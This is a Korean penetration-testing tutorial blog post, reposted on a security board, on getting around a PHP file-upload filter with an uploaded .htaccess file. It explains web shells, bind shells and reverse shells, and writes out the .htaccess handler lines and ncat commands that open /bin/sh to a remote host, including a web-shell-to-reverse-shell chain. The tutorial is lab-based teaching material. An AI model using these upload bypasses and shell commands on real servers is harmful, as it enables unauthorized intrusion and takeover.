WebHacking - File Upload 취약점 (우회), Web SHell(웹 쉘)

 

저번 글에서 파일 업로드 취약점을 공략하다가
.php 파일 확장자 업로드에서 막혀있었다.

오늘은 이러한 경우 우회할 수 있다는 가능성을 이해해보겠다.

저번 글에서 로컬설정 파일에 대한 이해가 되었다면
.htaccess 파일을 떠올릴 수 있을 것이다.

우리는 .htaccess 파일로 추가적인 설정을 해줄 것이다.
게시판에 업로드하면 data 폴더에 저장되는 것 또한 확인을 하였으니
data 폴더에 .htaccess 파일을 업로드하면 그 폴더 안에서 우리가 원하는 확장자를 php로 실행 시킬 수 있을 것이다.

우리는 .abc 라는 확장자가 php로 실행 될 수 있도록
AddHandler php5-script .abc
AddType text/html .abc

코드를 작성한 .htaccess 파일을 올릴 것이다.

 

 

 

(.htaccess 파일 작성)

 

 

(.htaccess 파일 생성)

 

 

자 이제 php로 실행이 되는지
php 코드를 작성해서 attack.abc를 올려보겠다.

 

 

 

(attack.abc 파일 작성)

 

 

아래와 같은 파일을 준비한다.

 

 

 

(준비 파일)

 

 

그리고 이 두 파일을 업로드 시켜준다.

업로드 되면
/data 폴더에 들어있을 것이므로
이제 /data 폴더에서 우리가 올렸던 attack.abc를 열어준다.

 

 

 

(attack.abc 실행)

 

 

(실행 된 모습)

 

 

확인해보니
php 파일이 실행되었다!

이로써 웹에 대한 충분한 이해가 있으면
취약점을 우회하는 방법도 여러가지 찾을 수 있다는 것을 알게 되었다.
앞으로 공부할 목표는 웹 취약점이라기 보다 웹에 대한 이해라고 보면 된다.


그렇다면 우리가 작성한 php 파일을 올린게 왜 치명적인걸까?
우리가 만든 php파일을 서버에 올릴 수 있다면
우리가 서버에 관해 못할게 없어진다.
그 가능성을 확인해 보겠다.

이제 웹 쉘이라는 개념을 이해해보자.
우리가 앞서 알아본 취약점을 공략하기 위해서 필요한 것은
입력할 곳. 이다. 
다시 말하면
명령을 입력할 곳
바로 이게 쉘인데 웹 상에서 명령을 입력할 곳 이라는 의미로
웹쉘 이라고 불린다.

우리가 알아볼 것은 원격 쉘이다. 당연히 우리가 서버실에 잡입 침투하지 않을 것이므로 로컬 쉘에 대한 이야기는 아니다.

원격 쉘에 종류는 많지만 대표적으로 3가지가 있다.
1. 웹쉘
2. 바인드 쉘
3. 리버스 쉘

1. 웹쉘이란
웹에서 명령을 실행하는 것이다.
간단하게 웹쉘을 확인해 보겠다. (아주 간단히)

우리가 php코드를 올릴 수 있다는 것을 이용하여
아래와 같은 코드를 만들어 올린다고 해보자.

 

 

(웹 쉘 코드)

 

 

이 코드를 잘 보면 GET방식으로 받은 변수를 
system 함수로 넘겨주고 있다.
즉 우리는 url을 통해 명령을 전달 할 수 있다.

확인을 위하여
이 파일을 업로드 해보겠다.

 

 

(웹쉘 테스트 파일)

 

 

 

업로드 후
cmd변수에 ls 명령을 전달했다.

 

 

 

(웹 쉘 확인)

 

 

ls 는 폴더 리스트를 확인하는 명령어인데
data 폴더에 있는 파일 리스트가 나오는 것을 확인 할 수 있다.

바로 이런 것이 웹 쉘이다.

2. 바인드 쉘
- 기본적으로 바인드 쉘은 TCP 통신을 이용한다.
정확히 말하면 원격 쉘은 TCP 통신을 주로 한다.
우리는 바인드 쉘을 확인하기 위하여 TCP통신을 하는 netcat이라는 프로그램을 이용할 것이다.

먼저
netcat을 실행해보겠다.
먼저 서버에서 
#> ncat -l 12345
12345는 포트 번호이다. 열어줄 포트번호를 적어주면 된다.

 

 

 

(포트 개방)

 

 

그 후 윈도우 호스트에서
Desktop> nc.exe 100.100.100.129 12345
접속할 IP와 포트번호를 적어주면 된다.

 

 

 

경축! 아무것도 안하여 에스천사게임즈가 새로운 모습으로 재오픈 하였습니다.
어린이용이며, 설치가 필요없는 브라우저 게임입니다.
https://s1004games.com

(ncat 접속)

 

 

접속후 문자를 입력하면 문자열이
전송된다.

 

 

(문자열 전송)

 

 

기본적으로 이렇게 문자열을 전송하지만 옵션을 달리하여 이번에는
쉘을 연결해보겠다.
서버에서 
#> ncat -e "/bin/sh" -l 12345
명령으로 포트를 열어준다.

 

 

 

(포트 개방)

 

 

그 후
윈도우 호스트에서
Desktop> nc.exe 100.100.100.129 12345
로 접속해준다.

 

 

 

(접속)

 

 

접속후 ls 라든가 
기본 명령어를 입력하면
원격으로 쉘을 사용할 수 있게 된다.
바로! 이게 바인드 쉘이다.

3. 리버스 쉘
리버스 쉘이 나온 이유는 방화벽을 우회하기 위해서이다.
보통 서버에서 열어두어도 우리가 접속할 때 inbound 정책에 의하여
막히는 경우가 많다. 
하지만 outbound 정책은 그렇게 심하지 않기 때문에 이 점을 이용한 것이다.
서버에서 우리한테 연결 요청을 하도록 하는 것이다.

바인드 쉘과 순서가 바뀐 것이다.
먼저 윈도우 호스트에서 포트를 열어주고
Desktop> nc.exe -l -p 12121

 

 

 

(포트 개방)

 

 

그 후 서버에서
# ncat -e "/bin/sh" 192.168.3.228 12121
을 이용하여 요청하게 하는 것이다.

 

 

(서버의 요청)

 

 

그러면 아까와 같이 쉘이 연결되어
원격 쉘을 사용할 수 있게 된다.

 

 

 

(원격 쉘 사용)

 

 

바로 이게 리버스 쉘이다.


리버스 쉘이 우리가 직접 서버에서 연결을 시켜줘서
간혹 이게 왜 취약한거지? 라고 생각이 들 수 있다.
하지만 웹쉘과 리버스 쉘을 같이 이용한다면???
이번엔 우리가 서버를 만지지 않고 쉘을 획득해보겠다.

먼저 윈도우 공격자의 호스트 포트를 열어준다.

 

 

 

(포트 개방)

 

 

 

그 후 아까 우리가 업로드 했던 웹 쉘을 이용하여
cmd 변수에
ncat -e "/bin/sh" 192.168.3.21 12121
우리의 IP 주소와 우리가 열었던 포트번호를 입력하여
넘겨준다.

 

 

 

(웹쉘 사용)

 

 

그렇게 되면
우리는 아까와 같이 리버스 쉘이 적용되어
원격 쉘을 이용할 수 있게 된다.

 

 

(원격 쉘 접속)

 

 

 

이렇듯
우리가 만든 php 파일이 웹 서버에 올릴 수 있다는 것은
엄청난 취약점이 된다.
이를 통해 시스템까지 침투할 수 있기 때문이다.

 

[출처] http://code1018.tistory.com/96?category=939350

 

본 웹사이트는 광고를 포함하고 있습니다.
광고 클릭에서 발생하는 수익금은 모두 웹사이트 서버의 유지 및 관리, 그리고 기술 콘텐츠 향상을 위해 쓰여집니다.
번호 제목 글쓴이 날짜 조회 수
공지 침투테스트(취약점검점검, 모의해킹) 문의 / 답변 졸리운_곰 2017.12.10 26656
255 1사분기의 디도스 공격, 숨으려 하지 않았다 file 졸리운_곰 2018.07.06 117
254 갠드크랩 랜섬웨어, 국내 피해 갈수록 확산 file 졸리운_곰 2018.04.22 116
253 BIND DNS와 DHCP 보안 취약점 발견...업데이트 필수 file 졸리운_곰 2018.03.11 130
252 [김민석의 Mr. 밀리터리] 가공할 북한 사이버 공격력, 한국은 기능부전 file 졸리운_곰 2018.02.23 185
251 대북제재로 더 과감해지는 北 해킹…美 "전세계가 해킹 표적" file 졸리운_곰 2018.02.21 135
» WebHacking - File Upload 취약점 (우회), Web SHell(웹 쉘) file 졸리운_곰 2018.02.17 265
249 WebHacking - PHP File Upload 취약점, 웹 서버 글로벌 설정 파일 file 졸리운_곰 2018.02.15 364
248 실제 해커의 마음으로! 모의해킹의 성공조건 file 졸리운_곰 2018.02.12 247
247 인텔 CPU 보안패치 업데이트 했더니 더 심각한 오류가… file 졸리운_곰 2018.01.23 157
246 핵티비스트들이 가장 선호하는 취약점 두 개는? file 졸리운_곰 2018.01.23 188
245 2018년도 국가공인 산업보안관리사(공인 제2016-5호, 산업통상자원부 장관) 자격검정시험 연간일정 안내 졸리운_곰 2018.01.17 89
244 [카드뉴스] 온라인 게임 사기 예방수칙 5 file 졸리운_곰 2018.01.07 119
243 앱 보안 취약한 원인은 오픈소스와 코드양 때문 file 졸리운_곰 2018.01.04 146
242 인텔 칩 내에서 설계 오류 발견된 이후 이틀간의 기록 file 졸리운_곰 2018.01.04 117
241 [카드뉴스] 오늘의 가상화폐 이슈 모아보기 file 졸리운_곰 2017.12.10 50
240 [주말판] 훌륭한 보안 첩보 제공자 및 무료 툴 21가지 file 졸리운_곰 2017.12.10 117
239 [12월 1주 뉴스쌈] 사토리 봇넷이 깨어났다 file 졸리운_곰 2017.12.10 58
238 뽐뿌 등 초보적인 해킹 예방하려면...보안취약점 점검부터 file 졸리운_곰 2017.12.05 83
237 Kali Linux 한글 패치하기 / Kali Linux 한글입력기 설정하기 file 졸리운_곰 2017.11.24 54
대표 김성준 주소 : 경기 용인 분당수지 U타워 등록번호 : 142-07-27414
통신판매업 신고 : 제2012-용인수지-0185호 출판업 신고 : 수지구청 제 123호 개인정보보호최고책임자 : 김성준 sjkim70@stechstar.com
대표전화 : 010-4589-2193 [fax] 02-6280-1294 COPYRIGHT(C) stechstar.com ALL RIGHTS RESERVED